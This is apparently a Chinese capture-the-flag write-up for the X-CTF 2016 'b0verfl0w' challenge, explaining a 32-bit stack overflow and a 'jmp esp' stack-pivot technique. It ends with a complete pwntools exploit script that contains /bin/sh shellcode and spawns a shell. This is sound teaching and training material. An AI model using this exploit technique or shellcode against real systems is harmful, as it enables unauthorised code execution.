[相关资源](https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w)
文件分析
1 2 3 4 5 6 7
| $ checksec b0verfl0w Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments
|
代码分析
明显栈溢出
1 2 3 4 5 6 7 8 9 10 11 12
| int vul() { char s[32]; // [esp+18h] [ebp-20h] BYREF puts("\n======================"); puts("\nWelcome to X-CTF 2016!"); puts("\n======================"); puts("What's your name?"); fflush(stdout); fgets(s, 50, stdin); printf("Hello %s.", s); fflush(stdout); return 1; }
|
攻击方法
栈上可执行 首先想着就是在s数组中写入shellcode然后跳转到s 但因为aslr栈地址随机化无法知道s的地址 也没有别的后门函数
查看jmp
gadget发现
1 2 3 4 5 6
| $ ROPgadget --binary b0verfl0w --only "ret|jmp" Gadgets information ============================================================ [...] 0x08048504 : jmp esp [...]
|
jmp esp用处
当当前函数执行到leave
指令后(即mov esp, ebp;pop ebp
),esp指向ret addr
,接着ret
跳转执行 esp = esp + 4; eip = ret addr
1 2 3 4
| |------------|------...----| |------------|------...----| | addr 0x11 | ... | → | addr 0x11 | ... | |------------|------...----| |------------|------...----| ↑ esp ↑ esp eip = 0x11
|
但如果ret addr处地址为jmp esp
的地址 则执行完jmp之后,eip和esp指向同一块位置,也就是接着执行栈上的指令
1 2 3 4 5 6 7 8
| |------------|------...----| |------------|------...----| | addr 0x11 | ... | → | addr 0x11 | ... | |------------|------...----| |------------|------...----| ↑ esp ↑ esp eip = 0x11(jmp esp) |------------|------...----| ➤ jmp esp ➤ | addr 0x11 | ... | |------------|------...----| ↑ esp,eip
|
因此我们可以在ret addr之后写入汇编指令 但是由于只有50 - 32 = 18
字节的溢出空间,显然不够写入完整shellcode
但是可以把shellcode写入变量s 在ret addr之后写入sub esp, 0x28;jmp esp
0x20(s) + 0x4(old ebp) + 0x4(ret addr) = 0x28
这样子就可以把esp移到变量s的地址,然后跳转执行s里的shellcode
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| from pwn import * import sys
context(os='linux', arch='i386', log_level='debug')
mode = '' if len(sys.argv) > 1: mode = sys.argv[1] proc = process("./b0verfl0w")
gscript = ''' b * 0x0804857A c ''' if mode == '-d': gdb.attach(proc, gdbscript=gscript)
shcode = b"\x31\xc0\x50\x68\x2f\x2f\x73" shcode += b"\x68\x68\x2f\x62\x69\x6e\x89" shcode += b"\xe3\x89\xc1\x89\xc2\xb0\x0b" shcode += b"\xcd\x80\x31\xc0\x40\xcd\x80"
ret = 0x0804836a jmp_esp = 0x08048504 sub_esp_jmp = asm("sub esp, 0x28;jmp esp")
proc.sendlineafter(b'name?', shcode.ljust(0x24, b'h') + p32(jmp_esp) + sub_esp_jmp)
proc.interactive() pause()
|